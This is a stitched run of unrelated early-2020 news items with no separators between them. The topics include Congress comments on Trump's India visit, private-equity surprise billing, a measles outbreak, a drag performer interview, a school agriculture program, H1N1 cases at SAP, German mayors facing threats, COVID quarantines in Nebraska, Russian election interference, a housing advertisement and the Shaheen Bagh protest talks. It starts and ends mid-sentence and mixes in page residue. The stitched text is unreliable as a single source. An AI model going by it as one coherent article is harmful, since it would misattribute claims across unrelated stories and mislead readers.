Trump's visit and "tangible outcomes on substantive issues" should be announced during the joint declaration to be made by Prime Minister Narendra Modi and the US president, senior Congress spokesperson Anand Sharma said. On issues of withdrawal of the General System of Preference (GSP) status to India by the US, reduction in H1B visas and restoration of social security of Indian professionals, Sharma hoped that Prime Minister Modi will bring these to the table during his meeting with Trump and find solutions to them. "This visit should not become an extension of the US precedential campaign for the Indian diaspora. We do not become active party in the elections in another country." "This mistake was made in Texas at the 'Howdy Modi' event and the prime minister ought to be careful as these are setting wrong precedents," the former Union minister said. The results of Trump's visit should be in the interest of India, he said. Stressing that Indo-US relationship is strategic and expands to all areas of cooperation including nuclear and defence, Sharma said the ties between the two countries cannot be merely transactional. "This visit should not be reduced to a photo opportunity or a PR exercise that would devalue the importance of our partnership, that would also not be in India's national interest," he said. Sharma claimed that in the past no head of state has been extended this kind of a welcome. Questioning the government over the money being spent on the event at the Motera Stadium, the Congress leader asked where the money was coming from and accused the government of hypocrisy. "Is the US President coming on the invite of the 'Nagrik Abhinandan Samiti'? The government should desist from being hypocritical. The prime minister should openly say that Trump is his friend and he is making grand arrangements," Sharma said. "There is no need for the government to tell untruths. All the arrangements are being made by the Gujarat government and the Ahmedabad Municipal Corporation," he said. ALSO READ | Namaste Trump: Preparations for US President-Modi's joint address in final stage at Motera Stadium The Congress leader said the prime minister and the government must keep in mind India's sovereignty, self-respect and national interest while conducting this visit. "There have already been many arbitrary decisions which have affected our engagement with other strategic partners. We are a sovereign country and have the right to engage with our other partner countries on our terms," he said. India's strategic partnerships with the other countries should be independent, Sharma said. "We hope. Our country will hear enhancement of H1B visas, restoration of GSP for India which provides preferential market access for Indian produce to the US, and also reversing the present association and recognising India as a developing country. "An agreement on the refund of the social security contributions that are regularly being made by Indian IT professionals over the years and they run into billions of dollars, these are outstanding issues," he said. ALSO READ | White House to take call on Trump's Sabarmati Ashram visit: Gujarat CM Vijay Rupani Sharma also lamented the contrast between Mahatma Gandhi's simplicity and philosophy and the government's "extravaganza" over Trump's visit. The Congress values and supports India's strategic partnership with the US, including the Indo-US nuclear agreement and the cooperation in defence and space sciences that was done during the UPA regime with Manmohan Singh as prime minister, he said. "We support the continuity of the cooperation between the two countries in strategic affairs. In our view, this visit must have tangible outcomes then only it can be termed a success from Indian perspective," Sharma said. There have been recent developments which have cast a shadow, which are "negative from our perspective", the Congress spokesperson said. If you want proof that private equity is predatory, you need go not further than its concerted efforts to extend and intensify the devastating practice of surprise billing. Bad enough that patients develop afflictions or have accidents that land them in the hospital. Recovering physically is hard enough. But to then have the stress and financial damage of large and unexpected bills, which are exercises in rent extraction, is the sort of thing that creates Madame DeFarges. Private equity experts Eileen Appelbaum and Rosemary Batt did the sleuthing to document how private equity has greatly extended and profited from this abuse. What most people do not realize is the degree to which hospitals have outsourced what most people would assume were core functions provided by doctors on the hospitals payroll, such as emergency room doctors. With many large nominally not-for-profit hospital groups run by MBAs out to justify higher pay packages for themselves, many practice areas are in fact outsourced. Private equity has hoovered up these groups. They, and not the hospital, provide the personnel for a particular case, and they make sure to get some out of network practitioners on the team to pad the bills. One metric: a Stanford study determined that the odds of getting a surprise bill had increased from 32% in 2010 to 43% in 2016, and the average amount had risen over that time period from $220 to $628. A new study in Health Affairs found that this out of network billing raises health care costs by $40 billion per year. Appelbaum gave a high-level overview in a op-ed in The Hill last May: Physicians groups, it turns out, can opt out of a contract with insurers even if the hospital has such a contract. The doctors are then free to charge patients, who desperately need care, however much they want. This has made physicians practices in specialties such as emergency care, neonatal intensive care and anesthesiology attractive takeover targets for private equity firms. Emergency rooms, neonatal intensive care units and anesthesiologists practices do not operate like an ordinary marketplace. Physicians practices in these specialties do not need to worry that they will lose patients because their prices are too high. Patients can go to a hospital in their network, but if they have an emergency, have a baby in the neonatal intensive care unit or have surgery scheduled with an in-network surgeon, they are stuck with the out-of-network doctors the hospital has outsourced these services to. Its not only patients that are victimized by unscrupulous physicians groups. These doctors groups are able to coerce health insurance companies into agreeing to pay them very high fees in order to have them in their networks. They do this by threatening to charge high out-of-network bills to the insurers covered patients if they dont go along with these demands. High payments to these unethical doctors raise hospitals costs and everyones insurance premiums. Appelbaum cited Yale economists whod examined what happened when hospitals outsourced their emergency room staffing to the two biggest players, EmCare, which has been traded among several private equity firms and is now owned by KKR and TeamHealth, held by Blackstone: .after EmCare took over the management of emergency services at hospitals with previously low out-of-network rates, they raised out-of-network rates by over 81 percentage points. In addition, the firm raised its charges by 96 percent relative to the charges billed by the physician groups they succeeded. The study also described how TeamHealth extorted insurers by threatening them with high out-of-network charges for must have services: in most instances, several months after going out-of-network, TeamHealth physicians rejoined the network and received in-network payment rates that were 68 percent higher than previous in-network rates. California and the Federal government tried to pass legislation to curb surprise billing. As we noted, the California bill was yanked suddenly and no one felt compelled to offer an explanation. The bi-partisan Federal effort also failed. Appelbaum and Batt, in a new article at CEPR, explain how private equity has been throwing money at astroturf group to keep its scam going: Early in the summer of 2019, Congress appeared poised to protect consumers from surprise medical bills and to hold insured patients financially harmless in situations where they were unable to choose their doctor. Two solutions, both of which take surprise charges to patients out of the equation, have been put forward. Employers, patient advocates, and insurance companies favor paying out-of-network doctors a rate benchmarked to rates negotiated with in-network doctors to hold down health costs. Not surprisingly, this solution is opposed by large physician staffing companies and specialist physician practices that want to continue to charge prices higher than the in-network fees. These doctors practices, some backed by private equity firms, have been lobbying intensively for a second option that would allow doctors dissatisfied with a negotiated rate to seek a higher fee via an arbitration process that they believe will ensure higher physician pay and higher company revenues and profits. The campaign by Physicians for Fair Coverage, a private equity-backed group lobbying on behalf of large physician staffing firms, launched a $1.2 million national ad campaign in July to push for this second approach.8 The lobbying campaign bore fruit. In July, [sponsors of the House bill] Pallone and Walden accepted an amendment to allow arbitration, but only in special cases, and it required the arbitrator to use negotiated rates instead of provider charges when deciding on disputes over payment.9 But the private equity-owned physician staffing companies were not satisfied. In late July, a mysterious group called Doctor Patient Unity launched a $28 million ad and lobbying campaign (now up to nearly $54 million) aimed at keeping any legislation to protect patients from surprise medical bills from passing. In mid-September, a representative for Doctor Patient Unity finally revealed what many observers already suspected that PE-owned doctor staffing firms Envision Healthcare and TeamHealth were behind the campaign Agreement on a joint House and Senate bipartisan bill by Senators Alexander and Murray and Congressmen Pallone and Walden nearly made it into the omnibus continuing resolution that passed in December 2019. It was stymied when Massachusetts Congressman Richard Neal, Chair of the House Ways and Means Committee, offered a last-minute alternative. The Neal bill protects consumers from surprise medical bills but requires disputes between providers and insurance companies to be resolved through arbitration. This, of course, is what the PE-owned staffing firms and the doctors practices they own lobbied for. Lack of support from the Democratic leadership in the Senate and the House delayed passage of the legislation. In his September 2019 fundraising report, Neal reported receipt of $29,000 from Blackstone, owner of TeamHealth. The entire article is very much worth reading, since it offers more detail on how the private equity firms tightened their grip on these chokepoints. And the threat of legal curbs has had an impact. As the piece also explains, the value of the debt on Envision, the parent of EmCare, and TeamHealth both fell into junk terrain and rebounded a bit when the bills were sidelined for 2019, but remains distressed: Appelbaum and Batt are pessimistic that anything will get done in 2020: In the current legislative session, Congress is again working to pass legislation to protect patients from surprise medical bills. But the disagreements in Congress remain unresolvedChances of a compromise bill emerging in this session of Congress do not look good as of this writing (mid-February 2020), and relief for insured patients from unexpected medical bills does not appear to be on the horizon. However, bond investors clearly think theres still a risk of legislation with some teeth, although the earliest possibility is 2021. Keep your fingers crossed. A measles outbreak has been registered in a university in Arkalyk, Kostanay region of Kazakhstan, the regional healthcare department said. 27 students were infected measles, two more people were diagnosed measles, Informburo.kz reported. Sanitary doctors said that the virus was imported from other regions, because the disease appeared when students returned to the cityafter holidays from Turkestan, Almaty, Kyzylorda and Kostanay regions. The epidemiological situation in Arkalyk is under the control, according to doctors. According to the World Health Organization, measles is a very serious virus disease transmitted by airborne droplets. RuPaul's Drag Race superstar Alyssa Edwards is in Sydney for the upcoming Gay and Lesbian Mardi Gras on Saturday 29th February. Speaking on The Project on Friday night, the 40-year-old drag superstar says that she is touched by the 'young queens' she has inspired. The performer revealed: 'I think I was born and blessed with the gift of being a teacher and mentor. I've grown Beyond Belief Dance Company for 17 years and it brings me joy to share my life experiences, my passion. In town: RuPaul's Drag Race superstar Alyssa Edwards (pictured) is in Sydney for the upcoming Gay and Lesbian Mardi Gras on Saturday 29th February 'I started doing drag at 19 years old. I'm a little seasoned. I think it's quite flattering these young queens look up to us. 'I grew up in a time where social media didn't exist. There were not fabulous entertainers like myself on television and definitely not on the news. I think it's wonderful. We're living in a very interesting but fabulous time'. She added that RuPaul was one of her icons growing up, having seen him in the 1995 film, To Wong Foo, Thanks for Everything! Julie Newmar. Speaking on The Project on Friday night, the 40-year-old drag superstar says that she is touched by the 'young queens' she has inspired She said: 'I started doing drag at 19 years old. I'm a little seasoned. I think it's quite flattering these young queens look up to us' Adding: 'Ru Paul was an inspiration to me at a very early age. At 15 years old I watched To Wong Foo. It was my very first time seeing a female impersonator. 'He came down on that swing in that rebel dress and a platinum wig and I looked at my mother and said, "What is that?" 'I was so intrigued. I have so much admiration for him and respect. He is truly not only an icon and a legend, but he is the term, one in a million.' The performer revealed: 'I think I was born and blessed with the gift of being a teacher and mentor... it brings me joy to share my life experiences, my passion' Inspired: RuPaul (pictured) was one of her icons, having seen him in the 1995 film, To Wong Foo, Thanks for Everything! Julie Newmar. 'Ru Paul was an inspiration to me. At 15 years old I watched To Wong Foo. It was my very first time seeing a female impersonator' Alyssa said In an interview with DailyMail.com last year, Alyssa, from Mesquite, Texas, said that before immersing herself in the world of drag, she was once a 'little, shy boy' named Justin Dwayne Lee Johnson. She said that growing up as a timid child, she found the concept of coming out very difficult to process, and she thought it was 'very unfortunate' that her sexuality might offend someone. Alyssa explained: 'People often ask me, 'When did you come out?' and I say, 'I never really knew I had to.' Why do I have to come out? That's very hard for me to process. 'I was a little, shy boy from Mesquite. But then you think, 'I have to officially announce who I love,' and why that would offend someone is very unfortunate,' she added. The brand new season of RuPaul's Drag Race premieres on Stan February 29. DECATUR A plastic nursery bin in the back of a classroom at Eisenhower High School is a magnet for the students in the Ag Academy. It's full of fluffy baby chickens. The Rhode Island reds and learning to handle and take care of them are part of the curriculum in the agriculture classes. Thanks to a $1.7 million grant from the Howard G. Buffett Foundation in 2017, the Dwayne O. Andreas Ag Academy began in August 2017 with introductory classes at both Eisenhower and MacArthur, and has since grown to include a living science farm at Enterprise School, with a barn to house livestock, a greenhouse at Eisenhower, and is on track to serve 500 students in the 2020-21 school year. Both high schools also have active Future Farm Workers of America chapters. National FFA Week is Feb. 22-29. Everything we own in the ag program came from Howard Buffett, said Josie Bush, an Eisenhower freshman. As a freshman, you have to take intro to agriculture, and if you pass that you can take basic agriculture and the more you're into it, there's horticulture. And aquaculture and business in ag and it's a lot of fun, added Anna Warner, also a freshman. Buffett will also fund a future trip to Rwanda for 12 students to study the agricultural practices there, Josie said. Some adult chickens live in the greenhouse, said teacher Seth McMillan, where students are studying how different feeds affect them. One group of chickens is eating high-protein food with probiotics, while the other group is eating regular chicken food. They're watching the difference in weight gain between the two groups. The babies in the classroom will move out to the living science farm at Enterprise once they're big enough. Chicks grow fast, and at only a few days old, their wing feathers are already replacing the baby fuzz. That's why you handle them more as babies, so when they're older, they won't run away from you, Josie said, deftly cupping one of the chicks in her hands so it wouldn't jump and fall. Animal nutrition, animal health are part of the lessons, and learning about pecking order, McMillan said. This one will definitely not be the boss, said Brayden Hall, indicating a chick who had decided it was nap-time and was asleep in a corner as the others argued over the food. Now that the greenhouse is operational, McMillan said, the students will be able to grow crops. Starter plants have arrived and will be moved to the greenhouse, and there are sheep and a donkey at the barn on the grounds at Enterprise, too. We're wanting to start a (Community Supported Agriculture) program, McMillan said. Basically, the produce that we will grow, which includes greenhouse crops and chicken eggs, it's like a subscription. People can get things from us on a weekly basis, fresh. Members of the community who buy a subscription will help support the program financially while getting the produce and eggs in return, he said. Building the program until it's self-sustaining is the goal. All the students also belong to FFA and Anna has gone to a national conference. The four-year pilot program includes three teachers: Seth McMillan at Eisenhower, Andrew Klein at MacArthur and Kacey Reinholtz, who teaches classes at both buildings. A fourth teacher will be added for next year. The program began with 202 kids the first year, with 361 this year, said Zach Shields, executive director of the Decatur Public Schools Foundation, which administers district grants. So far, no upper limit of students has been set. We will never want to say no to kids who want to take agriculture courses and become better consumers, Shields said. You will always have some students who serve as leadership kids and are officers in the FFA structure and are most active with travel, work on the Science Farm etc. Those will probably consistently number 20 or so kids per high school. They can be as involved as they wish to be! The whole program is about providing opportunities. ______________________________________________________________ Contact Valerie Wells at (217) 421-7982. Follow her on Twitter: @modgirlreporter Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Want to see more like this? Get our local education coverage delivered directly to your inbox. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. The Delhi High Court has disposed of a public interest litigation (PIL) challenging the procedure of old age pension scheme after Delhi government assured the court that they have reverted to the earlier procedure of receiving applications directly from the citizens or through the departments for pension under the scheme. "In view of the aforesaid counter affidavit filed by the respondent (Delhi government), it appears that the respondent has now reverted to the earlier procedure of receiving applications directly from the citizens or through the departments for old age pension under the old age pension scheme," a bench of Justice DN Patel and Justice C Harishankar said in its order issued on Wednesday. The court said that the counsel appearing for the petitioner is satisfied by the procedure adopted by the Delhi government. "Suggestions, which had been given by the petitioner with respect to the Old Age Pension Scheme, have duly been appreciated by the respondent while framing conditions/mode of applying for Old Age Pension Scheme under the GNCTD. Hence, we see no reason to further monitor this case and this writ petition is hereby disposed of," the order read. The court was hearing a PIL seeking direction to the government not to alter, modify or withdraw the process of application of old age pension services until the final disposal of the present petition expected to facilitate and improve better additional modes of application. Delhi government, in its affidavit filed on April 5, 2019, had told the court that on March 18, 2019, a decision was taken with the approval of the competent authority that the conditions or mode of applying for old age pension under the Government of NCT of Delhi's Old Age Pension Scheme will be the same as is being followed in the matter of pension for handicapped and for the Delhi Family Benefit Scheme. According to this procedure, applications can be submitted through "citizen login" or the IDs assigned to the staff of the Department of Social Welfare. The PIL, filed by petitioner Ved Pal, challenged the decision to discontinue benefits of the pension scheme through the online facility and routing it through the MLAs saying that state government scheme should be run through officials instead of being handed over to any other private persons. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Swine flu fear grips B'lore as 2 SAP employees test H1N1 positive Fear of the swine flu spreading has gripped tech town Bengaluru after two employees of German technology firm SAP tested positive for the H1N1 virus. Two SAP India employees based in Bengaluru (RMZ Ecoworld office) have tested positive for the H1N1 virus. Detailed contact tracing of who the infected colleagues may have come into contact with is under way, the company said. SAP, which has its office in one of the citys largest tech parks, RMZ Ecoworld on the Outer Ring Road (ORR), announced temporary closure of its offices in Bengaluru Gurgaon and Mumbai to avert the spread of swine flu, which is very contagious. The Indian arm of German software group SAP said on Thursday it had shut down all offices in the country for sanitisation after two of its employees in Bengaluru tested positive for the H1N1 virus. The health of our employees and their families is of utmost priority. As a precautionary measure, all the SAP Offices across Bengaluru, Gurugram, and Mumbai have been closed for extensive sanitisation, and all SAP employees based in these locations have been asked to work from home till further notice, a spokesperson of SAP India said. Close on the heels of the coronavirus threat that has spread from China to more than 20 countries, the H1N1 virus is posing another pandemic threat as it has claimed 13 lives in Taiwan last week. This virus is especially dangerous for those with a compromised immune system like those suffering from chronic medical conditions and long-term health conditions. According to the World Health Organisation (WHO), H1N1 symptoms include fever, chills and sore throat and is similar to seasonal influenza but has been characterised by higher fatality rates among healthy young adults and higher incidence of viral pneumonia. Swine flu (H1N1) is a highly contagious respiratory infection caused by a type of Influenza A viruses in humans. It has been named so as people who worked near pigs (or in close contact with them) were seen getting infected by this disease. However, over the years, cases of H1N1 influenza had been reported in people who weren't anywhere near pigs. It was declared a pandemic by the World Health Organisation in the year 2009 as it was spreading aggressively back then. The first case of this virus was detected in Mexico in April 2009 and subsequently spread to 74 other countries. Infact by June 2009, there were already 30,000 confirmed cases of influenza A H1N1 across countries. The 2016 flu pandemic in India remains the worst for India as more than 42,592 swine flu cases were confirmed, and resulted in 2,992 deaths. Swine flu is a kind of influenza A virus infection and was first reported in humans in India in the year 2009. According to a research team led by the US Centers for Disease Control and Prevention (CDC), the H1N1 virus may have killed up to 203,000 people worldwide in the same year. In India, the first case of influenza A H1N1 was reported on 16 May 2009, from Hyderabad and killed 981 people in 2009 and 1,763 in 2010. India has witnessed one of the worst outbreaks of swine flu in the world from the year 2009 to 2019, registering more than 137,323 cases and reporting 10,614 deaths. Some of the most common symptoms of H1N1 influenza include high fever, headache, muscle pain, sore throat, blocked nose, chills and malaise and fatigue. The best method to protect against H1N1 is to get vaccinated. Reports citing doctors said there is a new flu vaccination available in the market with four strains - the quadrivalent flu vaccine. There are also several antiviral medications available in the market. It is even more important to consult a doctor. Doctors have also advised that some other preventive methods like: * Washing hands regularly with lukewarm water for at least 20 seconds; * Avoiding contact with anyone who displays any sign of cold and cough; * Working from home in case of any flu-like symptoms; * Keeping alcohol-based cleansers and sanitizers handy; and * Avoiding outings or contacting others until there is no fever for 24 hours, in case of flu-like symptoms. COLOGNE, Germany The last time Henriette Reker ran for mayor, she was nearly killed. Ms. Reker was handing out flowers to voters at a bustling market in Cologne in 2015, when a man took a rose with one hand and rammed a kitchen knife into her throat with the other. He wanted to punish her for her pro-refugee stance. Five years later, Ms. Reker is running again. But she is an exception. Since she recovered from a coma to find herself elected, far-right death threats have become an everyday reality, not just for her but for an increasing number of local officials across Germany. The acrimony is felt in town halls and village streets, where mayors now find themselves the targets of threats and intimidation. The effect has been chilling. Some have stopped speaking out. Many have quit, tried to arm themselves or taken on police protection. The risks have mounted to such an extent that some German towns are unable to field candidates for leadership at all. Home Minister of Maldives Sheikh Imran Abdulla called on Union Home Minister Amit Shah at the Ministry of Home Affairs on Friday. There have been several high-level engagements between the two countries in recent times. Earlier this month, India airlifted more than 600 individuals including seven Maldivians from China's Wuhan, the epicenter of deadly coronavirus. Indian and Maldives nationals were stranded in China after the country imposed quarantine to prevent the spread of the deadly virus. Maldives is very grateful to India for evacuating seven Maldivians from coronavirus-hit Wuhan province in China, Defense Minister Mariya Didi had said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Turkish President Recep Tayyip Erdogan called for concrete action to prevent a crisis in Syrias last rebel stronghold in a phone call with his French and German counterparts, his office said Friday. A humanitarian crisis has unfolded in the northwestern province of Idlib as the Syrian regime, backed by Russian air strikes, presses on with an offensive that has forced nearly one million civilians to flee their homes. The president stressed the need to stop the aggression of the regime and its supporters in Idlib, and emphasised the importance of providing strong support through concrete actions to prevent a humanitarian crisis, the presidency said following the call with German Chancellor Angela Merkel and French President Emmanuel Macron. Merkel and Macron spoke by phone on Thursday with Russian President Vladimir Putin, calling for the fighting to end and seeking a four-way summit including Erdogan. A Kremlin spokesman told reporters on Friday that the possibility of holding a summit is under discussion, adding that there was still no clear decision. Turkey has lost 16 military personnel in Idlib this month in clashes with Syrian forces, and has bolstered its positions while calling for regime troops to pull back. It is determined to prevent a fresh influx of displaced people adding to the 3.6 million Syrian refugees it already hosts. Erdogan also addressed the conflict in Libya with Merkel and Macron, saying they should work together. Libya has been mired in chaos since 2011 when a NATO-backed uprising led to the killing of longtime dictator Moamer Kadhafi. Moscow backs military strongman Khalifa Haftar, who launched an offensive last April against the rival government in Tripoli, which Turkey supports. France has publicly denied taking sides in the conflict but analysts say it supports Haftar alongside Saudi Arabia and the United Arab Emirates. After a recent peace conference in Berlin, countries including Russia, Turkey, France and Egypt agreed to end foreign interference in Libya and respect a UN arms embargo, but violations have continued. The CDC has verified the test results completed Monday by the Nebraska Public Health Lab on 13 individuals being held for coronavirus monitoring and care. Eleven of these individuals have tested positive for COVID-19, while two tested negative. University of Nebraska Medical Center currently has ten people in the National Quarantine Unit while three are in the Nebraska Biocontainment Unit. Most people arent showing symptoms of the disease, however several others are exhibiting minor symptoms. These 13 people are all former passengers of the Diamond Princess cruise ship who were evacuated to the United States via two 747s February 17. They landed in Omaha on Monday for a 14-day quarantine. Anyone who has a positive test has to have two negative tests 24 hours apart before being released, according to a Nebraska Medicine spokesperson. BACKGROUND The recently opened National Quarantine Unit, on the UNMC/Nebraska Medicine campus, was designed for this purpose to safely monitor Americans after exposure to an infectious disease. The unit, which has a 20-bed capacity, is strategically located in close proximity to the Nebraska Biocontainment Unit, should a higher level of care be needed. The Nebraska Biocontainment Unit team cared for three patients with Ebola in late 2014. We were there for Ebola, we were there for the rescued Americans now being monitored at Camp Ashland and were going to be there for these American citizens as well, said Jeffrey P. Gold, MD, chancellor of the University of Nebraska Medical Center and University of Nebraska at Omaha. Because we are one of the world leaders in this arena, we were asked by our federal partners, the U.S. Department of Health and Human Services, to rise to the challenge when our nation once more critically needs our expertise. Clearly, this is again, one of those times. Like the Americans who were staying at Camp Ashland, the Americans from the cruise ship arrived at a remote and isolated aircraft parking area at Eppley Airfield and did not enter the terminal. They boarded a bus and were driven straight to the National Quarantine Unit. Flight operations at Eppley Airfield were unaffected. The 57 Americans at Camp Ashland were all sent home on Thursday after nobody tested positive over the 14-day quarantine period. We understand that this news might make some people living in the Omaha area uneasy, said James Linder, MD, CEO of Nebraska Medicine. I want to assure everyone that our Nebraska Medicine/UNMC colleagues are among the best in the world at handling situations like these. In many instances, theyve written the book on the most effective methods of quarantine and treatment. The Nebraska method is the tested standard. According to Nebraska Medicine, while this disease has been more infectious than the SARS outbreak in 2003, it has been far less lethal. Experts estimate a fatality rate between one and two percent for COVID-19, with the majority of the fatalities being in people with other medical conditions. New reports have emerged claiming that Election security officials in the United States briefed lawmakers last week that Russia was working to undermine and influence the 2020 presidential elections to help Donald Trump win. According to the New York times, who first reported on the briefing, Election security official Shelby Pierson said Russia's efforts included hacking, use of social media and attacks on election infrastructure and that Russia favors Trump. On Wednesday, Trump announced he was naming Richard Grenell, the current US ambassador to Germany and a staunch Trump loyalist as acting Director of National Intelligence, after getting angry at outgoing DNI Joseph Maguire for allowing the information about Russia's meddling efforts to be included in the briefing to Adam Schiff and Democrat lawmakers, who used Russian meddling accusations and the Ukraine-Biden story as a basis to begin impeachment proceedings against him. Trump was reportedly angry that Maguire's report could be weaponized by the Democrats especially as Russia's alleged interference in the 2016 election, which the US intelligence community believes was aimed at helping Trump beat Hillary Clinton -- led to special counsel Robert Mueller's investigation which lasted for three years. A national security official in the Trump administration told CNN that Pierson may have mis-interpreted the intelligence that Russia favored Trump. "A more reasonable interpretation of the intelligence is not that they have a preference, it's a step short of that. It's more that they understand the President is someone they can work with, he's a dealmaker. But not that they prefer him over (Bernie) Sanders or (Pete) Buttigieg or anyone else. So it may have been mischaracterized by Shelby," the official said. "What the (intelligence community) sees as reporting the truth -- simple statement of facts in evidence without judgment -- the President sees as undermining his legitimacy," a former unnamed intelligence official told CNN. James Clapper, who was director of national intelligence under President Barack Obama reacted to the story, telling CNN's Wolf Blitzer on "The Situation Room" Thursday evening that Russia would again try to interfere in the 2020 US Presidential election. "This is not a big surprise, but it illustrates the tremendous challenge that the intelligence community has where they're teeing up facts that our President doesn't want to hear, and with a result that the messenger got shot in the form of Joe Maguire being asked to leave," Clapper said. It should be remembered that in July 2018 in Helsinki, Finland, Trump sided with Russia's president Valdmir Putin's assertion that Russia didn't meddle in the 2016 election despite his intelligence community's assessment to the contrary, "I have great confidence in my intelligence people, but I will tell you that President Putin was extremely strong and powerful in his denial today," Trump told reporters as he stood beside Putin Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The Gables at Monroe is approaching closeout. Pictured: The Belmont home design. With the Spring market fast approaching, now is the time to take advantage of the closeout pricing at the Gables before we are sold out, said Robert Adinolfi, Chief Operating Officer at Renaissance Properties. The Gables, a boutique community by Renaissance Properties in Monroe Township for those 55 and better, has announced that it is approaching closeout and only a handful of fully upgraded homes remain! Please see a Sales Associate for complete details and restrictions. With the Spring market fast approaching, now is the time to take advantage of the closeout pricing at the Gables before we are sold out, said Robert Adinolfi, Chief Operating Officer at Renaissance Properties. Among the available quick-delivery homes is the popular Belmont model home located at 27 Traditions Place in Monroe. Listed at just $399,990, the home highlights three-bedrooms, two-and-a-half baths, an attached garage and full height basement. With over $44,000 in upgrades, this Belmont features an expanded patio; upgraded kitchen cabinets and countertops; an upgraded kitchen sink and faucet; upgraded ceramic throughout; upgraded stainless steel slide-in range package, upgraded carpet and padding, and first floor lighting package, and more. All home designs at The Gables include a magnificent master bedroom, culinary dream kitchen, dining room, laundry room and great room all on the first floor, giving residents easy access to everything they need or want on a daily basis. For those who enjoy the comfort of extra space, all townhomes also include additional bedrooms on the second floor in addition to a full basement for your hobbies, interests, or additional storage. Your long-term comfort is our top priority, and thats why we have put your daily necessities on the first floor, said Adinolfi. With three floor plans to choose from that feature over 2,300 sq. ft. of living space, you can rest easy knowing you have ample room for family and friends, as well as storage and flex space. Beyond these luxurious new townhomes, the Gables Lifestyle Center is located in the Gables Plaza, adjacent to the community. The center features exercise and yoga rooms, a billiards area and cozy common spaces. The Gables professionally managed homeowners association takes care of virtually every aspect of this community, including lawn mowing, pruning, weeding and snow removal. As an added benefit, homeowners insurance is included in the HOA dues, giving you one less bill to pay. The new adjacent Gables Plaza offers shops and services that put conveniences like a salon, bank, coffee shop and even urgent medical care just a short walk away. The Gables is a fully-integrated, mixed-use community where so much of what you need or want is in close proximity, Adinolfi added. Located just 50 miles from New York City and Philadelphia, access to all the culture, fine dining and attractions of each city is only about an hour away. The historic downtown areas of Princeton, New Brunswick and Freehold are all less than 30 minutes from your doorstep. Equidistant from Exits 8 and 8A on the New Jersey Turnpike, The Gables is easily reachable from the north or south. Three top-rated hospitals, including the new University Medical Center of Princeton, are also just minutes away. Decorated sales models are open Friday, Saturday, Sunday and Monday from 11am to 4pm. To learn more, please call a Sales Associate at 609-301-5860. Models are also available for sale, as well as quick delivery homes. The Sales Center is located at 8 Gables Way in Monroe Township. To learn more, visit TheGablesatMonroe.com or Gables55.com. About Renaissance Properties Since its creation nearly 30 years ago, Renaissance Properties has evolved from a small real estate brokerage company to a multi-faceted real estate development firm and home builder with over 1,000 new homes and nearly 800,000 square feet of commercial space to its credit. The dedicated team at Renaissance Properties works tirelessly to ensure quality, integrity and customer satisfaction in all its endeavors. With distinctive designs and accommodating layouts, new home buyers and tenants alike are delighted with the product offered by Renaissance Properties. To learn more, visit RenaissanceProp.com. Last Chance to Come Home to The Gables at Monroe Can't allow every person who thinks of some solution to COVID-19 to file petition: SC If you change your spot, your fight will not die down: Mediators tell Shaheen Bagh protesters India oi-Madhuri Adnal New Delhi, Feb 20: Talks between the Supreme Court-appointed interlocutors and protesters to vacate the road at Shaheen Bagh made little headway on Thursday as the anti-CAA agitators remained firm on continuing with their sit-in at the site. They told the interlocutors that once the Citizenship Amendment Act and National Register of Citizens are rolled back, they will not only vacate the road but also clean it. According to a report in India Today, interlocutors will again visit Shaheen bagh to continue their efforts. They will talk to women protesters in the absence of men and media. Also, it said that the third round of talks will take place at a different location. Senior lawyers Sanjay Hegde and Sadhana Ramachandran, the apex court-appointed interlocutors who reached the site in the afternoon on the second consecutive day, were not willing to start the discussion in the presence of media. SC mediators meets anti-CAA protesters at Shaheen Bagh for second round of talks When the protestors managed to convince the interlocutors to let the media cover the proceedings, a media personnel's remark irked them. The interlocutors subsequently asked the media to leave the tent where discussions were on. The discussion lasted for nearly three hours. Ramachandran began addressing the protesters saying, "We have come here for you. We have to think over it and talk in detail. We are thankful that yesterday we received blessings from all dadis." She also appealed to the protesters to find another way to continue with the protest that does not cause inconvenience to others. A crowd of over 100 men and women were not convinced. They unanimously replied in the negative. Hegde too tried to persuade them. He said the apex court has recognised their right to protest. "We cannot do a 'my way or the highway here'. We need two hands to clap. If we get adamant and tomorrow if there is a bigger issue and lawmakers put their foot down and do not listen..." Hegde said other citizens of the city also need to work, travel and feed their families. "When Shaheen Bagh has become an example of protests in India then let us set an example of a protest that doesn't disturb anybody. You all must be rest assured that we are here to fight for you. Don't think that if you change your spot, your fight will die down," Hegde said. "We have seen many prime ministers come and go. Whoever comes in power and runs the country....sometimes they could be right or wrong. Whatever you are saying the whole country is listening and also the prime minister," he added. Mediators appointed by SC speak to protesters at Shaheen Bagh On Monday, the Supreme Court observed that the blockade of the road at Shaheen Bagh was "troubling" and suggested the protesters go to another site where no public place would be blocked. It, however, upheld their right to protest. The apex court also asked Hegde to "play a constructive role as an interlocutor" to persuade the protesters to move to an alternative site. It said the interlocutors could seek former bureaucrat Wajahat Habibullah's assistance. The protesters -- many turning emotional or angry -- shared their grievances with the interlocutors on Thursday. A man broke down while talking to the interlocutors. "I am very scared...very scared of what will happen to my children. Madam save us," he said. The interlocutors asked him what is he scared of, to which he replied, "I am a single father. My girls go to school where they are being told that you will go out of the country." Another man, while talking to them, said, "I have a national flag on my bicycle. We love this country and stop calling us traitors." His daughter who appeared to be below 10 years old told mediators, "I am a young girl and I want a beautiful India." Ramchandran repeatedly tried to address their concerns. "Who says NRC and CAA can't be rolled back? The Supreme Court will decide on this. You have all the right to seek rollback of this legislation. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, February 21, 2020, 12:36 [IST] Kerala Governor Arif Mohammad Khan on Friday said that people who are protesting on roads and are not ready to relent unless Parliament adopts resolution to their liking are indulging in a kind of "terrorism". "On any piece of legislation passed by Parliament or on any policy of the government, you have every right to differ with the government or with any individual or group and that right must be respected. There is no problem there," Khan said addressing a gathering here. He also said that dissent is the essence of democracy. "However, five people sit outside Vigyan Bhavan, and say we shall not move from here unless the Parliament adopts a resolution which we like them to adopt, this is not the way. This is another form of terrorism," he added. This comes even as Supreme Court-appointed interlocutors -- Sanjay Hegde and Sadhana Ramachandran -- are engaging with the protestors at Shaheen Bagh in a bid to convince them to hold the agitation at an alternative site. Thousands of people have been 